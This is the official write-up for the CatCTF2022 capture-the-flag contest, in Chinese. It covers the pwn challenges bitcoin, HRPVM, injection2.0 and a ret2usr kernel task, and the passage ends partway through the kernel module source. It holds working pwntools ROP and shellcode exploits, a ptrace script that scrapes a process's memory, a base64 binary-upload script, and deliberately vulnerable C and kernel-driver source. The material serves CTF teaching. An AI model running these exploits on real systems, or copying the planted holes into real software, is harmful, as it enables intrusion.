CatCTF2022 官方WP

目录

感谢

感谢Nepnep战队的各位成员、攻防世界的运维小哥哥小姐姐们、公开招募的出题人和志愿者们以及各位CTF选手对此次公益比赛的支持,让🐱🐱们可以饱餐一顿。最终本次活动共成功募集到1吨猫粮,以每只小猫每顿60g猫粮来计,超1.6w只流浪小猫将能饱餐一顿。 拯救喵喵大作战计划大获成功👏👏

https://mp.weixin.qq.com/s/EKiSEZk7Kj7aTZYk4hWhew

招新

Nepnep大力招新,感兴趣的师傅们可以投递简历到1764763743@qq.com,期待各位师傅的加入QWQ!

PWN

bitcoin🪙

这个题我没有出好,当时阳了=-= 脑子嗡嗡的 希望各位pwn不要介意

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#r=process('./pwn')
r=remote("61.147.171.105",59746)
elf=ELF('./pwn')
context.log_level='debug'
rdi=0x0000000000406303
rsi=0x0000000000406301
cin=0x6093A0
use_cin=0x401C30
main=elf.sym['main']
start=elf.sym['_start']
hard=0x609248

r.recv()
r.sendline("")
r.recvuntil(": ")
r.sendline('1')
r.recvuntil(": ")
pa='a'*0x48+p64(rdi)+p64(cin)+p64(rsi)+p64(hard)+p64(0)+p64(use_cin)+p64(0x402937)
r.sendline(pa)
r.sendline(p64(1))
r.interactive()

非预期

我沙盒检测机制设置的不是很好,mprotect被利用了,利用csu+shellcode直接梭哈

非预期发现者(第一个和我反馈的也许有别的师傅也发现了):gxh191师傅

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#encoding=utf-8
from pwn import *
r=process('./pwn')
#r=remote("61.147.171.105",59746)
elf=ELF('./pwn')
gdb.attach(r)
context.log_level='debug'
context.arch='amd64'
rdi=0x0000000000406303
rsi=0x0000000000406301
cin=0x6093A0
use_cin=0x401C30
main=elf.sym['main']
start=elf.sym['_start']
hard=0x609248
def ret_csu(r12, r13, r14, r15, last):
payload = 0x48 * 'a'
#构造栈溢出的padding
payload += p64(0x4062F6) + 'a' * 8
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(0x4062E0)
#gadgets2的地址
payload += 'a' * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload
mprotect=ret_csu(0x6091E0,0x609000,0x1000,7,rdi)
r.recv()
r.sendline("")
r.recvuntil(": ")
r.sendline('1')
r.recvuntil(": ")
pa=mprotect+p64(cin)+p64(rsi)+p64(0x609000)+p64(0)+p64(use_cin)+p64(0x609000)
r.sendline(pa)
r.sendline(asm(shellcraft.cat("./flag")))
#r.sendline(p64(1))
r.interactive()

第二种,直接跳转到0x404EA4把flag读出来 这是最常见的方法

源码

链接:https://pan.baidu.com/s/1iTLK3IkVw_a9OqK5kkXO5w?pwd=yrmv 提取码:yrmv --来自百度网盘超级会员V4的分享

HRPVM🖥️

想出一些有意义的题目,题目漏洞虽然简单,但是比较适合新人去调试布局内存,出题不是为了折磨选手,是为了大家都能学到东西

漏洞

create_file函数可以无限创建文件没有检查file_count的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall create_file(__int64 a1)
{
__int64 result; // rax
int v2; // ebx

result = check_repeat(a1);
if ( (_DWORD)result )
{
*((_QWORD *)&unk_204130 + 4 * file_count) = global_fd;
*((_QWORD *)&unk_204128 + 4 * file_count) = a1;
*((_QWORD *)&HF + 4 * file_count) = 1000LL;
v2 = file_count;
*((_QWORD *)&unk_204138 + 4 * v2) = malloc(0x1000uLL);
printf("FILE CONTENT: ");
read(0, *((void **)&unk_204138 + 4 * file_count), 0x1000uLL);
deleEnter(*((_QWORD *)&unk_204138 + 4 * file_count));
++file_count;
return ++global_fd;
}
return result;
}

查看bss段发现控制用户权限的结构体在文件HF的下面

1
2
3
4
.bss:0000000000204120 ??                            HF db    ? ; 


.bss:0000000000204520 ?? ?? ?? ?? users dd ?

利用思路非常简单,创建32个文件刚好覆盖到users,然后通过逆向分析可得,users结构体的一个数据存放的是UID和GID,调试发现,第32个文件的mode刚好可以覆盖到UID和GID,并且由于mode是可以通过伪汇编修改的,open使用方法在程序的README里面照着写就行了,把mode改成0

1
mov rdi,35;mov rsi,0;call open,2;

之后就变成了UID&GID==0的用户了,现在可以进入DEBUG控制台了。

分析debug函数,里面主要的功能就是file input和mmap,mmap可以自定义权限为3的指定地址段。

file input可以把程序外指定的文件拉取到虚拟机内,拉取后默认的权限模式是1000也就是不可读状态。此时,一般的选手可能想着flag拉进来了然后exit出debug再去user态直接cat 就可以获取flag了

但是注意,exit后程序会把users结构体初始化

1
2
3
4
5
deleEnter(buf);
dword_204524 = 1000;
users = 1000;
strncpy(dest, src, 8uLL);
machine_start();

此时UID和GID变成1000,然后dest这次存放的就是开机的时候要求输入的持有者也清0了,通过调试不难发现这个持有者变量和刚才第32个文件的存放文件名的地址重合了,因为exit这里被清0了,那么此时的flag可是在0x23个文件的下面,如果去cat 遇见第0x23个文件strcmp文件名的时候会因为地址无效程序崩溃,但是此时能获取到已知可读写的地址方法就一个,就是mmap!

1
2
3
4
5
6
7
8
9
10
0x55a2e6708500 <HF+992>:  0x00000000000003e8  0x000055a2e7e66c00
0x55a2e6708510 <HF+1008>: 0x0000000000000022 0x000055a2e7e66c30
0x55a2e6708520 <users>: 0x000003e8000003e8 0x0000000000000000
0x55a2e6708530 <users+16>: 0x0000000000000023 0x000055a2e7e67c70
0x55a2e6708540 <users+32>: 0x00000000000003e8 0x000055a2e7e68c80
0x55a2e6708550 <users+48>: 0x0000000000000024 0x000055a2e7e68cb0
0x55a2e6708560 <users+64>: 0x00000000000003e8 0x000055a2e7e69cc0
0x55a2e6708570: 0x0000000000000025 0x000055a2e7e69f20
0x55a2e6708580 <REG>: 0x0000000000000023 0x0000000000000000

当我们mmap自定义地址后(我选择的是0x123000),还需要把地址填写到这,就像我上面分析的一样通过调试不难发现这个持有者变量和刚才第32个文件的存放文件名的地址重合了,唯一可以输入这个变量的地方就是在启动机器的时候,在machine_start函数可以找到reboot功能

1
2
3
4
5
if ( !strncmp(off_2040B8, (const char *)buf, v7) )
{
clearScreen();
boot();
}

此时填充holder为0x123000即可,等到虚拟机重启进来后,再用伪汇编调整flag文件的open模式即可用cat抓取

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level='debug'
r=process('./HRPVM')
r.recv()
r.sendline('HRPHRP')
r.recv()
r.sendline('PWNME')
r.recv()
r.sendline('HRP')

for i in range(1,33):
r.recv()
r.sendline('file')
r.recv()
r.sendline(str(i))
r.recv()
r.sendline(str(i))
r.recv()
r.sendline('file')
r.recv()
r.sendline(str(33))
r.recv()
r.sendline("mov rdi,35;mov rsi,0;call open,2;")
r.recv()
r.sendline('./33')
r.recv()
r.sendline('DEBUG')
r.recv()
r.sendline('file input')
r.recv()
r.sendline('flag')
r.recv()
r.sendline('mmap')
r.recv()
r.sendline(str(0x123000))
r.recv()
r.sendline('exit')
r.recv()
gdb.attach(r)

r.sendline('reboot')
r.recv()
r.sendline('HRPHRP')
r.recv()
r.sendline('PWNME')
r.recv()
r.send(p64(0x123000))

r.recv()
r.sendline('file')
r.recv()
r.sendline(str(39))
r.recv()
r.sendline("mov rdi,37;mov rsi,1001;call open,2;")
r.recv()
r.sendline('./39')
r.recv()
r.sendline('cat flag')
r.interactive()

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
#include <stdbool.h>
#include<stdio.h>
#include <math.h>
#include <stdlib.h>
#include<unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <string.h>
typedef enum
{
MOV=0,//0
CALL=1,//1
}IS;
typedef enum
{
RDI=0,//0
RSI=1,//1
RDX=2,//2
RAX=3,//3

}RG;
long long int REG[4];
struct user{
unsigned int uid;
unsigned int gid;
char holder[0x40];
}users;
struct HRPFILE{
long long int mod;
char *filename;
long long int fd;
char *file_content;

}HF[0x20];
int file_count=0;
long long int global_fd=3;


int user_count=0;
unsigned int user_size=4096;
int login_if=0;
char username[]="HRPHRP\x00";
char password[]="PWNME\x00";
void write_HRP(int fd,char *cont,int len)
{
write(fd,cont,len);
}
void boot_user()
{
/*
FILE *fp=fopen("./users","r+");
if (!fp) {
perror("fopen");
exit(EXIT_FAILURE);
}
username_password = malloc(0x100);

while (fscanf(fp, "%[^\n ] ", username_password+user_count) != EOF) {
user_count+=8;
}
fclose(fp);*/

}
void write_banner()
{
char banner1[]=" ██ ██ ███████ ███████ ████ ████ ██ ██████ ██ ██ ██ ████ ██ ████████\n";
char banner2[]="░██ ░██░██░░░░██ ░██░░░░██ ░██░██ ██░██ ████ ██░░░░██░██ ░██░██░██░██ ░██░██░░░░░\n";
char banner3[]="░██ ░██░██ ░██ ░██ ░██ ░██░░██ ██ ░██ ██░░██ ██ ░░ ░██ ░██░██░██░░██ ░██░██ \n";
char banner4[]="░██████████░███████ ░███████ █████░██ ░░███ ░██ ██ ░░██ ░██ ░██████████░██░██ ░░██ ░██░███████\n";
char banner5[]="░██░░░░░░██░██░░░██ ░██░░░░ ░░░░░ ░██ ░░█ ░██ ██████████░██ ░██░░░░░░██░██░██ ░░██░██░██░░░░ \n";
char banner6[]="░██ ░██░██ ░░██ ░██ ░██ ░ ░██░██░░░░░░██░░██ ██░██ ░██░██░██ ░░████░██ \n";
char banner7[]="░██ ░██░██ ░░██░██ ░██ ░██░██ ░██ ░░██████ ░██ ░██░██░██ ░░███░███████\n";
char banner8[]="░░ ░░ ░░ ░░ ░░ ░░ ░░ ░░ ░░ ░░░░░░ ░░ ░░ ░░ ░░ ░░░ ░░░░░░░░\n";
write_HRP(1,banner1,strlen(banner1));
write_HRP(1,banner2,strlen(banner2));
write_HRP(1,banner3,strlen(banner3));
write_HRP(1,banner4,strlen(banner4));
write_HRP(1,banner5,strlen(banner5));
write_HRP(1,banner6,strlen(banner6));
write_HRP(1,banner7,strlen(banner7));
write_HRP(1,banner8,strlen(banner8));
}
void login_system()
{
write_HRP(1,"USER NAME:\n",strlen("USER NAME:\n"));
char name[0x30];
scanf("%48s[^\n ]",name);
getchar();
char pass[0x30];
write_HRP(1,"PASSWORD:\n",strlen("PASSWORD:\n"));
scanf("%48s[^\n ]",pass);
getchar();
for(int i=0;i<1;i++)
{
if(!strcmp(name,username))
{
if(!strcmp(pass,password))
{
login_if=1;
}
else{
write_HRP(1,"password error\n",strlen("password error\n"));
exit(0);
}
}
else{
write_HRP(1,"username error\n",strlen("username error\n"));
exit(0);
}
}
users.uid=1000;
users.gid=1000;
printf("%s","[+]HOLDER:");
read(0,users.holder,0x10);
}
void clearScreen(){
printf("\e[1;1H\e[2J");
}
int check_repeat(char *name)
{
for(int i=0;i<file_count;i++)
{
if(!strcmp(name,HF[i].filename))
{
write_HRP(1,"FILE HAD!\n",strlen("FILE HAD!\n"));
return 0;
}
else{
;
}
}
return 1;
}
int check_repeat_reboot(char *name)
{
for(int i=0;i<file_count;i++)
{
if(!strcmp(name,HF[i].filename))
{
return 0;
}
else{
;
}
}
return 1;
}
void create_file(char *name)
{


int check=check_repeat(name);
if(!check)
{
return;
}
HF[file_count].fd=global_fd;
HF[file_count].filename=name;
HF[file_count].mod=1000;
HF[file_count].file_content=malloc(0x1000);

printf("FILE CONTENT: ");
read(0,HF[file_count].file_content,0x1000);
deleEnter(HF[file_count].file_content);
file_count++;
global_fd++;
}
void ls()
{
for(int i=0;i<file_count;i++)
{
printf("%s ",HF[i].filename);

}
puts("");
}
void deleEnter(char *name)
{
char *tmp = NULL;
if ((tmp = strstr(name, "\n")))
{
*tmp = '\0';
}
}
void cat(char *name)
{
for(int i=0;i<file_count;i++)
{
if(!strcmp(name,HF[i].filename))
{
if(HF[i].mod==1001)
{
printf("%s\n",HF[i].file_content);
return;
}
else{
printf("%s%s%s\n","cat: ",name,": Permission denied");
return;
}

}
else{


}
}
}
void vm_elf(char *name)
{
char tmp_cmd[0x100][0x10];
int count=0;
char *exec;
char tmp_file_content[0x1000];
for(int i=0;i<file_count;i++)
{
if(!strcmp(name,HF[i].filename))
{
strncpy(tmp_file_content,HF[i].file_content,0x1000);
exec = strtok(tmp_file_content, ";");
while( exec != NULL )
{
strncpy(tmp_cmd[count],exec,0x10);
count++;
exec = strtok(NULL, ";");


}
}
}


char IS[0x100][0x10];
char *exec_IS;
int count_IS=0;
for(int i=0;i<count;i++)
{
strncpy(tmp_file_content,tmp_cmd[i],0x1000);
exec_IS = strtok(tmp_file_content, " ");
while( exec_IS != NULL )
{

strncpy(IS[count_IS],exec_IS,0x10);
exec_IS = strtok(NULL, " ");
count_IS++;
}
}

char obj[0x100][0x10];
char *exec_obj;
int count_obj=0;


for(int i=0;i<count_IS;i++)
{
if(i%2!=0)
{
strncpy(tmp_file_content,IS[i],0x1000);
exec_obj = strtok(tmp_file_content, ",");
while( exec_obj != NULL )
{
strncpy(obj[count_obj],exec_obj,0x10);
exec_obj = strtok(NULL, " ");
count_obj++;
}
}
}


int index=1000;
int a,b;
for(int i=0;i<count_obj;i++)
{
if(i%2==0)
{
if(!strcmp(IS[i],"mov"))
{
index=MOV;
goto is;
}
else{
index=1000;
}
if(!strcmp(IS[i],"call"))
{
index=CALL;
goto is;
}
else{
index=1000;
}

}
is: switch(index)
{
case MOV:
a=atoi(obj[i]);
b=atoi(obj[i+1]);
if((a&&b))
{
break;
}
else if(a)
{
break;
}
else
{
if(!strcmp(obj[i],"rdi"))
{
REG[RDI]=atoi(obj[i+1]);

}
if(!strcmp(obj[i],"rsi"))
{
REG[RSI]=atoi(obj[i+1]);

}
if(!strcmp(obj[i],"rdx"))
{
REG[RDX]=atoi(obj[i+1]);

}
if(!strcmp(obj[i],"rax"))
{
REG[RAX]=atoi(obj[i+1]);

}
}

break;
case CALL:
a=atoi(obj[i]);
b=atoi(obj[i+1]);
if((a))
{
break;
}
else if(!b)
{
break;
}
else
{
if(!strcmp(obj[i],"open"))
{
REG[RAX]=b;
if(REG[RAX]==2)
{

HRP_OPEN(REG[RDI],REG[RSI]);
}

}
if(!strcmp(obj[i],"write"))
{
REG[RAX]=b;
if(REG[RAX]==1)
{
HRP_WRITE(REG[RDI],REG[RSI],REG[RDX]);
}

}
}
break;
default:puts("INVAID IS!");return;
}
}

}
void HRP_WRITE(int fd,int buf,int size)
{

for(int i=0;i<file_count;i++)
{
if(buf==HF[i].fd)
{
if(HF[i].mod!=1001)
{
puts("MOD CAN WRITE");
return;
}
else{
write(fd,HF[i].file_content,size);
puts("");
}
}
}
}
void HRP_OPEN(int fd,int mod)
{
for(int i=0;i<file_count;i++)
{
if(fd==HF[i].fd)
{
HF[i].mod=mod;
return;
}
}
clearScreen();
puts("NOT FOUND,PLEASE NEW FILE");
printf("%s","FILE NAME: ");
char name[0x10];
scanf("%16s[^\n ]",name);
getchar();
deleEnter(name);
create_file(name);

}
char *debug_cmd[]={"id\x00","file input\x00","file out\x00","exit\x00","mmap\x00"};
void charge_file(char *op)
{
if(!strcmp(op,"file input"))
{
int i;
puts("FILE NAME:");
char *name=malloc(0x20);
char a[0x1000];
read(0,name,0x20);
deleEnter(name);
FILE * fp1 = fopen(name, "ab+");
if (fp1==NULL) {//若打开文件失败则退出
perror(fopen);
return;
}
for(i=0;fscanf(fp1,"%c",a+i)!=EOF;i++);
fclose(fp1);//关闭输入文件

HF[file_count].fd=global_fd;
HF[file_count].filename=name;
HF[file_count].mod=1000;
HF[file_count].file_content=malloc(0x1000);

strncpy(HF[file_count].file_content,a,0x1000);
file_count++;
global_fd++;
}
else if(!strcmp(op,"file out"))
{

}
}
void DEBUG()
{
puts("[+]DEBUGING");
char choice[0x20];
while(1)
{
printf("%s","[+][DEBUGING]root# ");
read(0,choice,0x20);
if(!strncmp(debug_cmd[0],choice,strlen(debug_cmd[0])))
{
printf("uid=%d gid=%d\n",users.uid,users.gid );
}
if(!strncmp(debug_cmd[1],choice,strlen(debug_cmd[1])))
{
deleEnter(choice);
charge_file(choice);
}
if(!strncmp(debug_cmd[2],choice,strlen(debug_cmd[2])))
{
deleEnter(choice);
charge_file(choice);
}
if(!strncmp(debug_cmd[3],choice,strlen(debug_cmd[3])))
{
deleEnter(choice);
users.gid=1000;
users.uid=1000;
strncpy(users.holder,"\x00\x00\x00\x00\x00\x00\x00\x00",8);
machine_start();
}
if(!strncmp(debug_cmd[4],choice,strlen(debug_cmd[4])))
{
unsigned long long int addr=0;
puts("[+]ADDR EXPEND:");
scanf("%lld",&addr);
mmap((void *)addr, 1024LL, PROT_READ|PROT_WRITE, 34, -1, 0LL);

}
}
}
void rm(char *name)
{
for(int i=0;i<file_count;i++)
{
if(!strcmp(name,HF[i].filename))
{

HF[file_count].fd=NULL;
HF[file_count].filename=NULL;
HF[file_count].mod=1000;
HF[file_count].file_content=NULL;
file_count--;
global_fd--;
}
else{


}
}
}
char *system_cmd[]={"ls\x00","id\x00","file\x00","cat\x00","./\x00","reg\x00","DEBUG\x00","reboot\x00","shutdown\x00","rm\x00"};
void machine_start()
{
char *tmp;
tmp=(char *)malloc(0x200);
while(1)
{
write_HRP(1,"HRP-MACHINE$ ",strlen("HRP-MACHINE$ "));
read(0,tmp,0x200);
if(!strncmp(system_cmd[0],tmp,strlen(system_cmd[0])))
{
ls();
}
if(!strncmp(system_cmd[1],tmp,strlen(system_cmd[1])))
{
printf("uid=%d gid=%d\n",users.uid,users.gid );
}
if(!strncmp(system_cmd[2],tmp,strlen(system_cmd[2])))
{
clearScreen();
char *name=malloc(0x20);
printf("FILE NAME: ");
scanf("%16s[^\n ]",name);
getchar();
deleEnter(name);
create_file(name);
}
if(!strncmp(system_cmd[3],tmp,strlen(system_cmd[3])))
{
char *exec;
exec = strtok(tmp, " ");
exec = strtok(NULL, " ");
deleEnter(exec);
cat(exec);
}
if(!strncmp(system_cmd[4],tmp,strlen(system_cmd[4])))
{
char *exec;
exec = strtok(tmp, "./");
deleEnter(exec);
vm_elf(exec);
}
if(!strncmp(system_cmd[5],tmp,strlen(system_cmd[5])))
{
printf("RDI:%lld RSI:%lld RDX:%lld RAX:%lld\n",REG[RDI],REG[RSI],REG[RDX],REG[RAX]);
}
if(!strncmp(system_cmd[6],tmp,strlen(system_cmd[6])))
{
if(users.gid==0&&users.uid==0)
{
DEBUG();
}
}
if(!strncmp(system_cmd[7],tmp,strlen(system_cmd[7])))
{
clearScreen();
boot();
}
if(!strncmp(system_cmd[8],tmp,strlen(system_cmd[8])))
{
clearScreen();
exit(0);
}
if(!strncmp(system_cmd[9],tmp,strlen(system_cmd[9])))
{
char *exec;
exec = strtok(tmp, " ");
exec = strtok(NULL, " ");
deleEnter(exec);
rm(exec);
}
}
}
void boot()
{
write_banner();
login_system();
if(login_if==1)
{
REG[RDI]=0;
REG[RSI]=0;
REG[RDX]=0;
REG[RAX]=0;
int check=check_repeat_reboot("README");
if(!check)
{
goto start;
}
HF[file_count].fd=global_fd;
HF[file_count].filename="README";
HF[file_count].mod=1001;
HF[file_count].file_content=malloc(0x1000);

strncpy(HF[file_count].file_content,"Welcome my machine,you can use it to make some easy file or exec some file. Now let me show u an easy asm //open mov rdi,1;mov rsi,1001;call open 2; just like this u can open a file.\n",0x1000);
deleEnter(HF[file_count].file_content);
file_count++;
global_fd++;

start: machine_start();
}

}
void init()
{
setbuf(stdin,0);
setbuf(stdout,0);

}
int main(int argc, char const *argv[])
{
init();
boot();

getchar();
return 0;
}

injection2.0💉

题目提供的init文件分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo 0 | tee /proc/sys/kernel/yama/ptrace_scope
chown 0:0 flag
chmod 755 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
./target >pso.file 2>&1 &
setsid /bin/cttyhack setuidgid 0 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh # 修改 uid gid 为 0 以提权 /bin/sh 至 root。
poweroff -f # 设置 shell 退出后则关闭机器

echo 0 | tee /proc/sys/kernel/yama/ptrace_scope

./target >pso.file 2>&1 &

setsid /bin/cttyhack setuidgid 0 /bin/sh

这3句是关键,现在是root,然后开启了ptrace,并且把target程序挂到了后台

target

读取flag到栈上后就死循环输出helloworld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
fd = open("./flag", 436, envp);
read(fd, buf, 0x30uLL);
close(fd);
close(0);
close(1);
close(2);
system("rm flag");
while ( 1 )
{
write(1, "Hello World\n", 0xCuLL);
sleep(2u);
}
}

利用思路

root下可使用ptrace接口,直接利用ptrace搜索进程内存,ps -ef获取到进程的PID 再去/proc/pid/maps获取到栈地址

利用ptrace获取栈内数据比对flag格式字符串,我本地测试用的flag格式就是flag{}

还有一个小细节,我的qemu里面放了so文件可以跑动态链接程序。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <sys/ptrace.h>
//cat /proc/131/maps
int main(int argv , char **argc){

int data ;
int stat ;
int pid = atoi(argc[1]) ;
ptrace(PTRACE_ATTACH, pid, NULL, NULL) ;
wait(&stat) ; // 如果不wait,马上进行下一个ptrace的PEEK操作会造成 no such process 错误
long long int addr = 0 ;
scanf("%llx",&addr);
for (; addr < 0x7ffffffff000; ++addr)
{
data = ptrace(PTRACE_PEEKDATA, pid, addr, NULL); // 一次读一个字节
if(data==0x65636165)
{
printf("data = %x , addr = %llx\n" , data , addr) ;
long long int addr1=addr-1;
char data1;
for(int i=0;i<100;i++)
{
addr1+=1;
data1 = ptrace(PTRACE_PEEKDATA, pid, addr1, NULL);
//write(1,data1,0x10);
printf("%c" , data1) ;
}


}

}

ptrace(PTRACE_DETACH, pid, NULL, NULL);

return 1 ;
}

上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(log_level='debug')
#io = process("./boot.sh")
io = remote("",53408)

def exec_cmd(cmd):
io.sendline(cmd)
io.recvuntil("# ")

def upload(exp):
p = log.progress("Upload")
with open("./"+exp, "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
io.recvuntil("# ")

for i in range(0, len(encoded), 600):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> /tmp/benc" % (encoded[i:i+600]))

exec_cmd("cat /tmp/benc | base64 -d > /tmp/exp")
exec_cmd("chmod +x /tmp/exp")
upload('infect')
io.interactive()

kernel-test 本次资源合集,包括源码,EXP,docker🧬

1
2
3
链接:https://pan.baidu.com/s/1h7xSB1qJp5s3MsoOCWUDig?pwd=2v64 
提取码:2v64
--来自百度网盘超级会员V4的分享

Ret2usr

这种技术已经很老了而且很好防范开启smep直接寄了,但是真的很好用,方便,不用找gadget不用控制bp,sp寄存器

网上已经有了很多很多的官方阐述,我这里只做通俗理解。

简易讲解

对于操作系统,我们都知道存在用户态和内核态,驱动挂载是在内核态里面跑汇编的,普通二进制程序是在用户态里跑的。

如果qemu没有开启kvm64,kvm64 +smep都可以在用户态代码空间去执行任意代码。通俗讲smep就是相当于平常题目的NX。

思路很简单,用户打开驱动,用交互模块去利用漏洞。比如溢出,用read泄露canary,write构造rop。

控制rip从内核态跳转到用户态,执行我们exp中写好了的提权函数。

其实不用把内核驱动看的多神秘,说白了本质上还是二进制文件,只是代码执行区段有区分,有不同的保护机制,堆栈上本质的特性不会变的。不过随着GCC和内核版本提高,很多gadget已经消失了,常见的rop手法和栈迁移手法基本上算是寄了

这里简单讲下自己出的这个例题

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <linux/module.h>    // included for all kernel modules
#include <linux/kernel.h> // included for KERN_INFO
#include <linux/init.h> // included for __init and __exit macros
#include <linux/scpi_protocol.h>
#include <asm/io.h>
#include <linux/slab.h>
#include <linux/fs.h> // file_operation is defined in this header
#include <linux/device.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("HRP");
MODULE_DESCRIPTION("An easy kernel attack!");

static int majorNumber;
static struct class* HRP_module_class = NULL;
static struct device* HRP_module_device = NULL;
#define DEVICE_NAME "test" //define device name
#define CLASS_NAME "HRP_module"
char pwn[0x300]="flag{I_am_flag_!}";

//函数原型
static long HRP_module_ioctl(struct file *, unsigned int, unsigned long);
static int __init HRP_init(void);
static void __exit HRP_exit(void);
static ssize_t HRP_module_write (struct file *, const char __user *, size_t, loff_t *);
static ssize_t HRP_module_read (struct file *, char __user *, size_t, loff_t *);

///linux/fs.h中的file_operations结构体列出了所有操作系统允许的对设备文件的操作。在我们的驱动中,需要将其中需要的函数进行实现。下面这个结构体就是向操作系统声明,那些规定好的操作在本模块里是由哪个函数实现的。例如下文就表示unlocked_ioctl是由本模块中的HRP_module_ioctl()函数实现的。
static const struct file_operations HRP_module_fo = {
.owner = THIS_MODULE,
.unlocked_ioctl = HRP_module_ioctl,
.write=HRP_module_write,
.read=HRP_module_read,
};

//本模块ioctl回调函数的实现
static ssize_t HRP_module_write (struct file * file, const char __user * user, size_t size, loff_t * p)
{

printk(KERN_INFO "USE MY write\n");
copy_from_user(pwn,user, size);

return 114514;
}
static ssize_t HRP_module_read (struct file * file, char __user * user , size_t size, loff_t *p)
{
char this_buf[0x40]="welcome to my house\n";
printk(KERN_INFO "USE MY read\n");
copy_to_user(user,&this_buf[size],0x40);
return 114514;
}

static long HRP_module_ioctl(struct file *file, /* ditto */
unsigned int cmd, /* number and param for ioctl */
unsigned long param)
{
/* ioctl回调函数中一般都使用switch结构来处理不同的输入参数(cmd) */
switch(cmd){
case 0:
{
char leak[0x10]="NONO!";
printk(KERN_INFO "[HRPModule:] NOTHING! %s\n",leak);
__asm__(
"mov $0x100,%rcx;"
"mov $pwn,%rsi;"
"mov %rsp,%rdi;"
"xor %eax,%eax;"
"rep movsb;"
);
break;
}
default:
printk(KERN_INFO "[HRPModule:] Unknown ioctl cmd!\n");
return -EINVAL;
}
return 0;
}


static int __init HRP_init(void){
